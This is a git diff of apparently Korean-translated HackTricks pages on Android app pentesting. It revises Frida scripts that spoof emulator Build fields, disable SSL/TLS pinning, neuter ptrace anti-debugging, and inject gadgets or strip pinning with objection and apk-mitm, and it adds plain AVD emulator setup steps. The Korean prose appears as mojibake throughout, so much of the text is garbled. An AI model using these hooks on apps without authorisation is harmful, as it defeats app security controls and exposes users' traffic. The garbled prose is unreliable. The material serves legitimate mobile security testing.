๋ฉ”์„œ๋“œ๋ฅผ ๋กœ๊น…ํ•˜๊ณ  ๋ฌด๋ ฅํ™”ํ•˜์„ธ์š”: ```js @@ -129,12 +131,11 @@ return false; }; }); ``` -## ์—๋ฎฌ๋ ˆ์ดํ„ฐ/VM ํƒ์ง€ ์šฐํšŒ (Java stubs) +## ์—๋ฎฌ๋ ˆ์ดํ„ฐ/VM ๊ฐ์ง€ ์šฐํšŒ (Java stubs) -์ผ๋ฐ˜์ ์ธ ํœด๋ฆฌ์Šคํ‹ฑ: -Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE์— generic/goldfish/ranchu/sdk ํฌํ•จ; QEMU ์•„ํ‹ฐํŒฉํŠธ ์˜ˆ: /dev/qemu_pipe, /dev/socket/qemud; ๊ธฐ๋ณธ MAC 02:00:00:00:00:00; 10.0.2.x NAT; telephony/sensors ์—†์Œ. +์ผ๋ฐ˜์ ์ธ ํœด๋ฆฌ์Šคํ‹ฑ: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE์— generic/goldfish/ranchu/sdk๊ฐ€ ํฌํ•จ๋˜์–ด ์žˆ๋Š”์ง€; /dev/qemu_pipe, /dev/socket/qemud ๊ฐ™์€ QEMU ์•„ํ‹ฐํŒฉํŠธ; ๊ธฐ๋ณธ MAC 02:00:00:00:00:00; 10.0.2.x NAT; ์ „ํ™” ๊ธฐ๋Šฅ/์„ผ์„œ ๋ˆ„๋ฝ. -Build ํ•„๋“œ๋ฅผ ๋น ๋ฅด๊ฒŒ spoof: +Build ํ•„๋“œ์˜ ๋น ๋ฅธ ์Šคํ‘ธํ•‘: ```js Java.perform(function(){ var Build = Java.use('android.os.Build'); @@ -144,11 +145,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -ํŒŒ์ผ ์กด์žฌ ์ฒดํฌ ๋ฐ ์‹๋ณ„์ž (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList)์— ๋Œ€ํ•œ ์Šคํ…์„ ์ถ”๊ฐ€ํ•ด ํ˜„์‹ค์ ์ธ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋ณด์™„ํ•˜์„ธ์š”. +ํŒŒ์ผ ์กด์žฌ ๊ฒ€์‚ฌ์™€ ์‹๋ณ„์ž์— ๋Œ€ํ•œ ์Šคํ…์„ ์ถ”๊ฐ€ํ•˜์—ฌ TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList ํ˜ธ์ถœ์ด ํ˜„์‹ค์ ์ธ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋ณด์™„ํ•˜์„ธ์š”. ## SSL pinning bypass quick hook (Java) -์ปค์Šคํ…€ TrustManagers๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๊ณ  permissive SSL contexts๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค: +์‚ฌ์šฉ์ž ์ •์˜ TrustManagers๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜๊ณ  ํ—ˆ์šฉ์ ์ธ SSL contexts๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -166,28 +167,28 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }; }); ``` -Notes -- OkHttp์— ๋Œ€ํ•ด ํ™•์žฅ: ํ•„์š”์— ๋”ฐ๋ผ hook okhttp3.CertificatePinner ๋ฐ HostnameVerifier๋ฅผ ์ ์šฉํ•˜๊ฑฐ๋‚˜, CodeShare์˜ ๋ฒ”์šฉ unpinning script๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. +๋…ธํŠธ +- OkHttp ํ™•์žฅ: ํ•„์š”ํ•œ ๊ฒฝ์šฐ okhttp3.CertificatePinner์™€ HostnameVerifier๋ฅผ hookํ•˜๊ฑฐ๋‚˜, CodeShare์˜ universal unpinning script๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”. - ์‹คํ–‰ ์˜ˆ: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## ๋‹จ๊ณ„ 6 โ€” Java hooks๊ฐ€ ์‹คํŒจํ•  ๋•Œ JNI/native ํŠธ๋ ˆ์ผ์„ ์ถ”์  +## 6๋‹จ๊ณ„ โ€” Java hooks๊ฐ€ ์‹คํŒจํ•  ๋•Œ JNI/native ๊ฒฝ๋กœ ์ถ”์  -JNI ์ง„์ž…์ ์„ ์ถ”์ ํ•˜์—ฌ native ๋กœ๋”์™€ ํƒ์ง€ ์ดˆ๊ธฐํ™”(detection init)๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”: +JNI entry points๋ฅผ ์ถ”์ ํ•˜์—ฌ native loaders์™€ detection init์„ ์ฐพ์œผ์„ธ์š”: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -๋ฒˆ๋“ค๋œ .so ํŒŒ์ผ์˜ ๋น ๋ฅธ ๋„ค์ดํ‹ฐ๋ธŒ ์„ ๋ณ„: +๋ฒˆ๋“ค๋œ .so ํŒŒ์ผ์— ๋Œ€ํ•œ ๋น ๋ฅธ ๋„ค์ดํ‹ฐ๋ธŒ ์„ ๋ณ„: ```bash # List exported symbols & JNI nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interactive/native reversing: +์ธํ„ฐ๋ž™ํ‹ฐ๋ธŒ/๋„ค์ดํ‹ฐ๋ธŒ ๋ฆฌ๋ฒ„์‹ฑ: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -์˜ˆ: neuter ptrace to defeat simple antiโ€‘debug in libc: +์˜ˆ: ptrace๋ฅผ ๋ฌด๋ ฅํ™”ํ•˜์—ฌ libc์˜ ๋‹จ์ˆœ antiโ€‘debug๋ฅผ ์šฐํšŒ: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -203,22 +204,22 @@ reversing-native-libraries.md ## 7๋‹จ๊ณ„ โ€” Objection patching (embed gadget / strip basics) -repacking์„ runtime hooks ๋Œ€์‹  ์„ ํ˜ธํ•œ๋‹ค๋ฉด, ๋‹ค์Œ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”: +repacking์„ runtime hooks๋ณด๋‹ค ์„ ํ˜ธํ•œ๋‹ค๋ฉด, ๋‹ค์Œ์„ ์‹œ๋„ํ•ด๋ณด์„ธ์š”: ```bash objection patchapk --source app.apk ``` -Notes: -- apktool ํ•„์š”; ๋นŒ๋“œ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๋ ค๋ฉด ๊ณต์‹ ๊ฐ€์ด๋“œ์—์„œ ์ตœ์‹  ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค: https://apktool.org/docs/install -- Gadget injection์€ root ์—†์ด instrumentation์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์ง€๋งŒ ๋” ๊ฐ•๋ ฅํ•œ initโ€‘time ๊ฒ€์‚ฌ์— ์˜ํ•ด ์—ฌ์ „ํžˆ ํƒ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์ฐธ๊ณ : +- apktool์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค; ๋นŒ๋“œ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๋ ค๋ฉด ๊ณต์‹ ๊ฐ€์ด๋“œ์—์„œ ์ตœ์‹  ๋ฒ„์ „์„ ์‚ฌ์šฉํ•˜์„ธ์š”: https://apktool.org/docs/install +- Gadget injection์€ root ์—†์ด instrumentation์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์ง€๋งŒ ๋” ๊ฐ•๋ ฅํ•œ initโ€‘time checks์— ์˜ํ•ด ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -์„ ํƒ์ ์œผ๋กœ, Zygisk ํ™˜๊ฒฝ์—์„œ ๋” ๊ฐ•๋ ฅํ•œ root ์ˆจ๊น€์„ ์œ„ํ•ด LSPosed ๋ชจ๋“ˆ๊ณผ Shamiko๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ , ์ž์‹ ํ”„๋กœ์„ธ์Šค๋ฅผ ํฌํ•จํ•˜๋„๋ก DenyList๋ฅผ ์กฐ์ •ํ•˜์„ธ์š”. +์„ ํƒ์ ์œผ๋กœ, Zygisk ํ™˜๊ฒฝ์—์„œ ๋ฃจํŠธ ์€๋‹‰์„ ๊ฐ•ํ™”ํ•˜๊ธฐ ์œ„ํ•ด LSPosed ๋ชจ๋“ˆ๊ณผ Shamiko๋ฅผ ์ถ”๊ฐ€ํ•˜๊ณ , ํ•˜์œ„ ํ”„๋กœ์„ธ์Šค๋ฅผ ํฌํ•จํ•˜๋„๋ก DenyList๋ฅผ ์ •๋ฆฌํ•˜์„ธ์š”. -References: +์ฐธ์กฐ: - Objection: https://github.com/sensepost/objection -## Step 8 โ€” Fallback: Patch TLS pinning for network visibility +## Step 8 โ€” ํด๋ฐฑ: TLS pinning ํŒจ์น˜๋กœ ๋„คํŠธ์›Œํฌ ๊ฐ€์‹œ์„ฑ ํ™•๋ณด -If instrumentation is blocked, you can still inspect traffic by removing pinning statically: +instrumentation์ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, pinning์„ ์ •์ ์œผ๋กœ ์ œ๊ฑฐํ•˜์—ฌ ํŠธ๋ž˜ํ”ฝ์„ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy @@ -254,10 +255,10 @@ apk-mitm app.apk ``` ## ํŒ ๋ฐ ์ฃผ์˜์‚ฌํ•ญ -- ์•ฑ์ด ๋Ÿฐ์น˜ ์‹œ ํฌ๋ž˜์‹œํ•  ๊ฒฝ์šฐ spawnํ•˜๊ธฐ๋ณด๋‹ค ๋Šฆ๊ฒŒ attachํ•˜๋Š” ๊ฒƒ์ด ์ข‹๋‹ค -- ์ผ๋ถ€ detections๋Š” ์ค‘์š”ํ•œ ํ๋ฆ„(์˜ˆ: payment, auth)์—์„œ ๋‹ค์‹œ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ navigation ์ค‘์—๋Š” hooks๋ฅผ ํ™œ์„ฑ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜๋ผ -- static๊ณผ dynamic์„ ํ˜ผํ•ฉํ•˜๋ผ: Jadx์—์„œ string์„ ์ฐพ์•„ ํด๋ž˜์Šค๋ฅผ ์ถ”๋ ค๋‚ธ ๋‹ค์Œ, runtime์—์„œ ๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•ด ๋ฉ”์„œ๋“œ์— hook๋ฅผ ๊ฑธ์–ด๋ผ -- ๋ณด์•ˆ์ด ๊ฐ•ํ™”๋œ ์•ฑ์€ packers์™€ native TLS pinning์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ native ์ฝ”๋“œ๋ฅผ ๋ฆฌ๋ฒ„์Šคํ•ด์•ผ ํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒํ•˜๋ผ +- ์•ฑ์ด ๋Ÿฐ์น˜ ์‹œ ํฌ๋ž˜์‹œํ•  ๋•Œ์—๋Š” spawnํ•˜๊ธฐ๋ณด๋‹ค ๋‚˜์ค‘์— attachํ•˜๋Š” ๊ฒƒ์„ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค +- ์ผ๋ถ€ ๊ฐ์ง€ ๋กœ์ง์€ ์ค‘์š”ํ•œ ํ๋ฆ„(์˜ˆ: payment, auth)์—์„œ ์žฌ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค โ€” ๋„ค๋น„๊ฒŒ์ด์…˜ ์ค‘์—๋Š” hooks๋ฅผ ํ™œ์„ฑ ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜์„ธ์š” +- ์ •์ (static)๊ณผ ๋™์ (dynamic)์„ ํ˜ผํ•ฉํ•˜์„ธ์š”: Jadx์—์„œ string hunt๋กœ ํด๋ž˜์Šค ํ›„๋ณด๋ฅผ ์ถ”๋ ค๋‚ธ ๋‹ค์Œ, ๋Ÿฐํƒ€์ž„์—์„œ ๊ฒ€์ฆํ•˜๊ธฐ ์œ„ํ•ด hook methods๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” +- ํ•˜๋“œ๋‹๋œ ์•ฑ์€ packers์™€ native TLS pinning์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ reverse native code๋ฅผ ์˜ˆ์ƒํ•˜์„ธ์š” ## References diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index a68fcdf8f..d0f187c6a 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -1,24 +1,24 @@ -# AVD - Android Virtual Device +# AVD - Android ๊ฐ€์ƒ ๋””๋ฐ”์ด์Šค {{#include ../../banners/hacktricks-training.md}} -์ด ์ฝ˜ํ…์ธ  ์ž‘์„ฑ์— ๋„์›€์„ ์ฃผ์‹  [**@offsecjay**](https://twitter.com/offsecjay)๊ป˜ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค. +์ด ์ฝ˜ํ…์ธ  ์ž‘์„ฑ์— ๋„์›€์„ ์ฃผ์‹  [**@offsecjay**](https://twitter.com/offsecjay)๊ป˜ ์ง„์‹ฌ์œผ๋กœ ๊ฐ์‚ฌ๋“œ๋ฆฝ๋‹ˆ๋‹ค. -## ๋ฌด์—‡์ธ๊ฐ€ +## AVD๋ž€ -Android Studio๋Š” Android ๊ฐ€์ƒ ๋จธ์‹ ์„ **์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด APKs๋ฅผ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ์ด๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: +Android Studio๋Š” **APK๋ฅผ ํ…Œ์ŠคํŠธํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” Android ๊ฐ€์ƒ ๋จธ์‹ ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค**. ์ด๋ฅผ ์‚ฌ์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: -- The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). +- **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). +- ๋˜๋Š” **Android Studio** (Android SDK tools ํฌํ•จ) - [Download here](https://developer.android.com/studio). -Windows(์ œ ๊ฒฝ์šฐ)์—์„œ **Android Studio๋ฅผ ์„ค์น˜ํ•œ ํ›„** **SDK Tools๋Š” ๋‹ค์Œ ๊ฒฝ๋กœ์— ์„ค์น˜๋˜์–ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค**: `C:\Users\\AppData\Local\Android\Sdk\tools` +Windows์—์„œ๋Š”(์ œ ๊ฒฝ์šฐ) **Android Studio๋ฅผ ์„ค์น˜ํ•œ ํ›„** **SDK Tools๊ฐ€ ์„ค์น˜๋œ ๊ฒฝ๋กœ๋Š”**: `C:\Users\\AppData\Local\Android\Sdk\tools` mac์—์„œ๋Š” **SDK tools๋ฅผ ๋‹ค์šด๋กœ๋“œ**ํ•˜๊ณ  PATH์— ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -๋˜๋Š” **Android Studio GUI**์—์„œ [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a)์— ํ‘œ์‹œ๋œ ๊ฒƒ์ฒ˜๋Ÿผ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” `~/Library/Android/sdk/cmdline-tools/latest/bin/`์™€ `~/Library/Android/sdk/platform-tools/` ๋ฐ `~/Library/Android/sdk/emulator/`์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค +๋˜๋Š” **Android Studio GUI**์—์„œ [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a)์— ํ‘œ์‹œ๋œ ๊ฒƒ์ฒ˜๋Ÿผ `~/Library/Android/sdk/cmdline-tools/latest/bin/`, `~/Library/Android/sdk/platform-tools/` ๋ฐ `~/Library/Android/sdk/emulator/`์— ์„ค์น˜๋ฉ๋‹ˆ๋‹ค Java ๋ฌธ์ œ์˜ ๊ฒฝ์šฐ: ```java @@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ### ๊ฐ€์ƒ ๋จธ์‹  ์ค€๋น„ -Android Studio๋ฅผ ์„ค์น˜ํ–ˆ๋‹ค๋ฉด, ๋ฉ”์ธ ํ”„๋กœ์ ํŠธ ๋ทฐ๋ฅผ ์—ด๊ณ  ๋‹ค์Œ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: _**Tools**_ --> _**AVD Manager.**_ +If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
@@ -36,38 +36,38 @@ Android Studio๋ฅผ ์„ค์น˜ํ–ˆ๋‹ค๋ฉด, ๋ฉ”์ธ ํ”„๋กœ์ ํŠธ ๋ทฐ๋ฅผ ์—ด๊ณ  ๋‹ค์Œ์œผ
-๊ทธ๋Ÿฐ ๋‹ค์Œ _**Create Virtual Device**_ ๋ฅผ ํด๋ฆญํ•˜์„ธ์š” +๊ทธ๋Ÿฐ ๋‹ค์Œ, _**Create Virtual Device**_๋ฅผ ํด๋ฆญํ•˜์„ธ์š”
-_**์‚ฌ์šฉํ•  phone์„ ์„ ํƒํ•˜์„ธ์š”**_ ๊ทธ๋ฆฌ๊ณ  _**Next.**_ ๋ฅผ ํด๋ฆญํ•˜์„ธ์š” +_**select** ์‚ฌ์šฉํ•˜๋ ค๋Š” ํœด๋Œ€ํฐ์„ ์„ ํƒํ•˜๊ณ  _**Next.**_ ๋ฅผ ํด๋ฆญํ•˜์„ธ์š” > [!WARNING] -> Play Store๊ฐ€ ์„ค์น˜๋œ phone์ด ํ•„์š”ํ•˜๋ฉด Play Store ์•„์ด์ฝ˜์ด ์žˆ๋Š” ํ•ญ๋ชฉ์„ ์„ ํƒํ•˜์„ธ์š”! +> Play Store๊ฐ€ ์„ค์น˜๋œ ํฐ์ด ํ•„์š”ํ•˜๋ฉด Play Store ์•„์ด์ฝ˜์ด ์žˆ๋Š” ๊ธฐ๊ธฐ๋ฅผ ์„ ํƒํ•˜์„ธ์š”! > > -ํ˜„์žฌ ํ™”๋ฉด์—์„œ **ํฐ์ด ์‹คํ–‰ํ•  Android image๋ฅผ ์„ ํƒํ•˜๊ณ  ๋‹ค์šด๋กœ๋“œ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +ํ˜„์žฌ ํ™”๋ฉด์—์„œ ํฐ์ด ์‹คํ–‰ํ•  **Android image๋ฅผ ์„ ํƒํ•˜๊ณ  ๋‹ค์šด๋กœ๋“œ**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
-์ด๋ฏธ์ง€๋ฅผ ์„ ํƒํ•˜๊ณ  ์•„์ง ๋‹ค์šด๋กœ๋“œ๋˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ์ด๋ฆ„ ์˜†์˜ _**Download**_ ์•„์ด์ฝ˜์„ ํด๋ฆญํ•˜์„ธ์š” (**์ด๋ฏธ์ง€๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ์„ธ์š”).**\ -์ด๋ฏธ์ง€๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋˜๋ฉด **`Next`** ์™€ **`Finish`** ๋ฅผ ์„ ํƒํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. +ํ•ด๋‹น ์ด๋ฏธ์ง€๋ฅผ ์„ ํƒํ•˜๊ณ , ๋‹ค์šด๋กœ๋“œ๋˜์–ด ์žˆ์ง€ ์•Š๋‹ค๋ฉด ์ด๋ฆ„ ์˜†์˜ _**Download**_ ์‹ฌ๋ณผ์„ ํด๋ฆญํ•˜์„ธ์š” (**์ด๋ฏธ์ง€๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ฆฌ์„ธ์š”).**\ +์ด๋ฏธ์ง€๊ฐ€ ๋‹ค์šด๋กœ๋“œ๋˜๋ฉด, **`Next`** ์™€ **`Finish`** ๋ฅผ ์„ ํƒํ•˜์„ธ์š”. -๊ฐ€์ƒ ๋จธ์‹ ์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด์ œ **AVD Manager์— ์ ‘๊ทผํ•  ๋•Œ๋งˆ๋‹ค ํ•ด๋‹น ๊ฐ€์ƒ ๋จธ์‹ ์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค**. +๊ฐ€์ƒ ๋จธ์‹ ์ด ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด์ œ **AVD manager์— ์ ‘๊ทผํ•  ๋•Œ๋งˆ๋‹ค ์ด ๊ฐ€์ƒ ๋จธ์‹ ์ด ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค**. ### ๊ฐ€์ƒ ๋จธ์‹  ์‹คํ–‰ -์‹คํ–‰ํ•˜๋ ค๋ฉด _**Start button**_ ์„ ๋ˆ„๋ฅด๊ธฐ๋งŒ ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค. +์‹คํ–‰ํ•˜๋ ค๋ฉด ๋‹จ์ˆœํžˆ _**Start button**_ ์„ ๋ˆ„๋ฅด์„ธ์š”. ![](<../../images/image (518).png>) ## ๋ช…๋ น์ค„ ๋„๊ตฌ > [!WARNING] -> macOS์˜ ๊ฒฝ์šฐ `avdmanager` ๋„๊ตฌ๋Š” `/Users//Library/Android/sdk/tools/bin/avdmanager`์—, `emulator`๋Š” `/Users//Library/Android/sdk/emulator/emulator`์— ์žˆ์Šต๋‹ˆ๋‹ค(์„ค์น˜๋œ ๊ฒฝ์šฐ). +> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. -๋จผ์ € **์–ด๋–ค phone์„ ์‚ฌ์šฉํ• ์ง€ ๊ฒฐ์ •**ํ•ด์•ผ ํ•˜๋ฏ€๋กœ, ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ phone ๋ชฉ๋ก์„ ๋ณด๋ ค๋ฉด ์‹คํ–‰ํ•˜์„ธ์š”: +๋จผ์ € **์–ด๋–ค ํฐ์„ ์‚ฌ์šฉํ• ์ง€ ๊ฒฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค**, ๊ฐ€๋Šฅํ•œ ํฐ ๋ชฉ๋ก์„ ๋ณด๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•˜์„ธ์š”: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -95,16 +95,15 @@ Name: Nexus 10 OEM : Google [...] ``` -์‚ฌ์šฉํ•  ๋””๋ฐ”์ด์Šค์˜ ์ด๋ฆ„์„ ๊ฒฐ์ •ํ–ˆ์œผ๋ฉด, ์ด ๋””๋ฐ”์ด์Šค์—์„œ ์–ด๋–ค Android ์ด๋ฏธ์ง€๋ฅผ ์‹คํ–‰ํ• ์ง€ **๊ฒฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.**\ -๋ชจ๋“  ์˜ต์…˜์€ `sdkmanager`๋ฅผ ์‚ฌ์šฉํ•ด ๋‚˜์—ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์‚ฌ์šฉํ•˜๋ ค๋Š” ๋””๋ฐ”์ด์Šค์˜ ์ด๋ฆ„์„ ์ •ํ–ˆ์œผ๋ฉด, ํ•ด๋‹น ๋””๋ฐ”์ด์Šค์—์„œ ์‹คํ–‰ํ•  Android ์ด๋ฏธ์ง€๋ฅผ **๊ฒฐ์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.**\ ๋ชจ๋“  ์˜ต์…˜์„ `sdkmanager`๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -๊ทธ๋ฆฌ๊ณ  ์‚ฌ์šฉํ•˜๋ ค๋Š” ๊ฒƒ(๋˜๋Š” ๋ชจ๋‘)์„ ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ **๋‹ค์šด๋กœ๋“œ**ํ•˜์„ธ์š”: +๊ทธ๋ฆฌ๊ณ  ์‚ฌ์šฉํ•˜๋ ค๋Š” ํ•ญ๋ชฉ(๋˜๋Š” ๋ชจ๋‘)๋ฅผ **download** ํ•˜์„ธ์š”: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -์›ํ•˜๋Š” Android ์ด๋ฏธ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ ํ›„ ๋‹ค์Œ ๋ช…๋ น์–ด๋กœ **๋‹ค์šด๋กœ๋“œ๋œ ๋ชจ๋“  Android ์ด๋ฏธ์ง€๋ฅผ ๋‚˜์—ด**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์‚ฌ์šฉํ•˜๋ ค๋Š” Android ์ด๋ฏธ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ•œ ํ›„ ๋‹ค์Œ๊ณผ ๊ฐ™์ด **๋‹ค์šด๋กœ๋“œ๋œ ๋ชจ๋“  Android ์ด๋ฏธ์ง€๋ฅผ ๋‚˜์—ด**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,12 +119,11 @@ Type: Platform API level: 29 Revision: 4 ``` -์ด์ œ ์‚ฌ์šฉํ•  ๋””๋ฐ”์ด์Šค๋ฅผ ๊ฒฐ์ •ํ•˜๊ณ  Android ์ด๋ฏธ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ–ˆ์œผ๋ฏ€๋กœ, **๋‹ค์Œ ๋ฐฉ๋ฒ•์œผ๋กœ ๊ฐ€์ƒ ๋จธ์‹ ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: +์ด์ œ ์‚ฌ์šฉํ•  ๊ธฐ๊ธฐ๋ฅผ ๊ฒฐ์ •ํ•˜๊ณ  Android ์ด๋ฏธ์ง€๋ฅผ ๋‹ค์šด๋กœ๋“œํ–ˆ์œผ๋ฏ€๋กœ, **๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ๊ฐ€์ƒ ๋จธ์‹ ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -์ด์ „ ๋ช…๋ น์—์„œ **VM ์ด๋ฆ„์„ _AVD9_๋กœ ์ƒ์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค** **์žฅ์น˜** "_Nexus 5X_" ๋ฐ **Android image** "_system-images;android-28;google_apis;x86_64_"๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ.\ -์ด์ œ **์ƒ์„ฑํ•œ virtual machines๋ฅผ ๋‚˜์—ด**ํ•˜๋ ค๋ฉด: +์ด์ „ ๋ช…๋ น์—์„œ **๋‹ค์Œ ์ด๋ฆ„์˜ VM์„ ์ƒ์„ฑํ–ˆ์Šต๋‹ˆ๋‹ค** "_AVD9_" **device** "_Nexus 5X_"์™€ **Android image** "_system-images;android-28;google_apis;x86_64_"๋ฅผ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.\ ์ด์ œ **์ƒ์„ฑํ•œ virtual machines์„ 